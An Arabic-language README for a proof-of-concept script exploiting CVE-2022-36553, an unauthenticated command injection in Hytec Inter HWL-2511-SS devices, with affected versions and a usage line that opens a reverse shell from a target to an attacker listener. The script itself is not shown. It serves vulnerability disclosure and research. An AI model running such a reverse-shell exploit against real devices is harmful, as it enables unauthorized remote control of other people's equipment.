CVE-2022-36553 - حقن أوامر عن بُعد بدون مصادقة في Hytec Inter HWL-2511-SS.

نظرة عامة

يحتوي هذا المستودع على برنامج نصي لإثبات المفهوم (PoC) لشيل عكسي لاستغلال CVE-2022-36553، وهي ثغرة أمنية حرجة في أجهزة Hytec Inter HWL-2511-SS. يُعد البرنامج النصي عرضًا عمليًا، مكملاً للتحليل المتعمق المقدم في منشور مدونتي "تقرير الثغرة الأمنية في Hytec Inter HWL-2511-SS".

الإصدارات المتأثرة

جميع أجهزة Hytec Inter HWL-2511-SS من الإصدار 1.05 وما دونه.

استخدام البرنامج النصي لإثبات المفهوم

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

فيديو إثبات المفهوم

ملاحظة

لأغراض تعليمية فقط.